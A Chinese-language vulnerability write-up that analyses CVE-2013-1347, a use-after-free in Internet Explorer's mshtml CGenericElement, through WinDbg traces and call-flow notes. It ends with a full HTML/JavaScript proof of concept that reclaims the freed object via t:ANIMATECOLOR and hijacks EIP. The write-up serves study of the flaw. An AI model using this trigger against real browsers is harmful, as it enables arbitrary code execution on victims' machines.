eip=6870b68d esp=0481cb7c ebp=0481cb94 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc:
6870b68d 8b01 mov eax,dword ptr [ecx] ds:0023:078cefc8=????????
0:005> dd 07516fd0 LC
07516fd0 00000805 00000002 06faafc0 06faafb0
07516fe0 00000806 00000003 06faafd8 06faafb0
07516ff0 00000806 00000004 05e51fd8 05e51fb0
0:005> dd 07516fc0 L10
07516fc0 00000805 00000001 05e51fc0 05e51fb0
07516fd0 00000805 00000002 06faafc0 06faafb0
07516fe0 00000806 00000003 06faafd8 06faafb0
07516ff0 00000806 00000004 05e51fd8 05e51fb0
0:005> ln poi(poi(05e51fb0))
(68648fd8) mshtml!CSpanElement::`vftable' | (685573d8) mshtml!CBlockElement::`vftable'
Exact matches:
mshtml!CSpanElement::`vftable' = <no type information>

如上,eax+4 指向一个结构体数组,还原结构体的大概如下

1
2
3
4
5
6
7
struct elememt_arry
{
int unkown;
int id;
int CTreePos;
int CTreeNode;
};

下面通过栈回溯去查看这个数组所占内存的来源。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0:005> !heap -p -a 07516fc0  
address 07516fc0 found in
_DPH_HEAP_ROOT @ 51000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
75105e4: 7516fc0 40 - 7516000 2000
6cba8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77235e26 ntdll!RtlDebugAllocateHeap+0x00000030
771fa376 ntdll!RtlpAllocateHeap+0x000000c4
771c5ae0 ntdll!RtlAllocateHeap+0x0000023a
6870d7d0 mshtml!_HeapRealloc+0x00000036
687234e2 mshtml!CImplAry::EnsureSizeWorker+0x000000a1
686c9b04 mshtml!CImplAry::AppendIndirect+0x00000027
68609ad9 mshtml!CTextBlock::AddAtomRun+0x00000105
68612b04 mshtml!CTextBlock::BuildSpanBeginRun+0x000000c4
68603e11 mshtml!CTextBlock::BuildTextBlock+0x00000aeb
68603488 mshtml!CLayoutBlock::BuildBlock+0x000001ec
685f0775 mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059d
685f04ee mshtml!CLayoutBlock::BuildBlock+0x000001c1
685f0775 mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059d
685f04ee mshtml!CLayoutBlock::BuildBlock+0x000001c1
685f0775 mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059d
685f04ee mshtml!CLayoutBlock::BuildBlock+0x000001c1
685f1290 mshtml!CCssDocumentLayout::GetPage+0x0000022a
685f2176 mshtml!CCssPageLayout::CalcSizeVirtual+0x00000254
6875566c mshtml!CLayout::CalcSize+0x000002b8
68765c6b mshtml!CLayout::DoLayout+0x0000011d
686293f1 mshtml!CCssPageLayout::Notify+0x00000140
6871e667 mshtml!NotifyElement+0x00000041
6872c76b mshtml!NotifyAncestors+0x000001b7
6871214b mshtml!CMarkup::SendNotification+0x00000092
687120be mshtml!CMarkup::Notify+0x000000d6
6875c083 mshtml!CElement::SendNotification+0x0000004a
6879574e mshtml!CElement::EnsureRecalcNotify+0x0000015f
68581242 mshtml!CElement::GetOffsetParentHelper+0x00000060
6865d442 mshtml!CElement::get_offsetParent+0x00000030
6878bb55 mshtml!G_IDispatchp+0x0000007b
68635ea6 mshtml!CBase::ContextInvokeEx+0x000002d0

下面看泉哥说的数组是在创建CTextBlock时生成的,CTreeNode+0x44保存的是结构 CTextBlock的地址,CTextBlock+0x58 存储的时数组地址(偷下懒)。
下面都是参考的 exp-sky 前辈的 CVE-2013-1347 Microsoft Internet Explorer CGenericElement Object Use After Free Vulnerability Analysis。(自己好弱

通过对比分析发现当 javascript 代码块中存在修改 DOM 树的代码时,并且存在未被渲染的DOM元素时(新创建的 DOM 元素)如果调用了 offsetParent 代码(可根据任意元素来引用)。将导致未被渲染过的元素属性被修改为已渲染。这样在修改其 DOM 节点时(如通过 innerHTML 属性来释放其所有子元素)也不会通过CtreeNode::ComputeFormats 函数重新计算节点格式。导致浏览器并不知道元素释放情况,也未更新元素节点关系。
正常的处理流程是,当通过 innerHTML 释放了未被渲染的元素的所有子元素后。其会通过以下流程的函数调用最终调用到 CtreeNode::ComputeFormats 函数对 CTreeNode节点进行重新计算。

1
2
3
4
5
6
7
8
9
10
GS_PropEnum
|- CElement::put_innerHTML
|- Celement::InjectCompatBSTR
|- CElement_InjectInternal
|- CtreeNode::IsEditable
|- CtreeNode::GetCharFormat ⇐ 判断属性
|- CtreeNode::GetCHarFormatHelper
|- CtreeNode::GetCharFormatIndexHelper
|- CtreeNode::ComputeFormatsHelper
|- CtreeNode::ComputeFormats

CtreeNode::GetCharFormat 会判断 CTreeNode 的属性,即偏移 0xc 处的引用计数值,当引用计数值大于0时,表示已经渲染,无需重新计算 CTreeNode,因此则不进入 CtreeNode::GetCHarFormatHelper 函数也无法调用到其后续函数 CtreeNode::ComputeFormatsCTreeNode 进行重新计算。这种情况下处理流程如下

1
2
3
4
5
6
GS_PropEnum
|- CElement::put_innerHTML
|- Celement::InjectCompatBSTR
|- CElement_InjectInternal
|- CtreeNode::IsEditable
|- CtreeNode::GetCharFormat ⇐ 判断属性

javascript 执行完成后,浏览器会重新渲染 DOM 树,因为之前并没有去重新计算CGenericElementCTreeNode 节点,导致了浏览器仍然企图渲染释放后的元素。最终引用了释放后的元素,成功利用后可以导致任意代码执行。

exploit分析

发现泉哥书里还是由很多错误的,比如再分析这个的时候p315CTreeNode被清除,还有p325CGenericElement的对象大小应为 0x38
QQ截图20180713000129.png-4.3kB
利用 t:ANIMATECOLOR 来重用被释放的对象,尝试控制 eip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>

<script>
function helloWorld()
{
animvalues = "";

// mshtml!CElement::Doc:
// 6586c815 8b01 mov eax,dword ptr [ecx]
// 6586c817 8b5070 mov edx,dword ptr [eax+70h]
// 6586c81a ffd2 call edx

for (i=0; i <= 0x70/4; i++) {
// t:ANIMATECOLOR 标签第一个对象用于覆盖虚表指针
// 由于索引虚函数时,需要偏移0x70,所以这里采用0x70/4去精确控制edx值
if (i == 0x70/4) {
//animvalues += unescape("%u5ed5%u77c1");
animvalues += unescape("%u4141%u4141"); // 控制edx=0x41414141
}
else {
animvalues += unescape("%u4242%u4242"); // 0x42424242
}
}

for(i = 0; i < 13; i++) {
// t:ANIMATECOLOR 标签值是一个用分号分隔的字符串,分号的个数决定对象的大小,
// 对象的每个元素都是一个指针,指向分号分隔出来的字符串
// 漏洞对象CGnericElement大小0x38,所以这里需要包含0x38/4=13个分号 14个字符串
animvalues += ";red";
}

f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
f1.appendChild(document.createElement('table'));
try{
f0.offsetParent=null;
}catch(e) {}

f2.innerHTML="";
f0.appendChild(document.createElement('hr'));
f1.innerHTML="";

CollectGarbage();

try {
//使用 t:ANIMATECOLOR 标签可以自由设置其内容,控制对象大小
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
}

</script>
</head>
<body onload="eval(helloWorld());">
<t:ANIMATECOLOR id="myanim"/>

</body>
</html>

QQ截图20180713001839.png-83.4kB
可以看到已经成功劫持了 eip,下面就是 rop 的构造啦,具体的可以参考msf提供的脚本。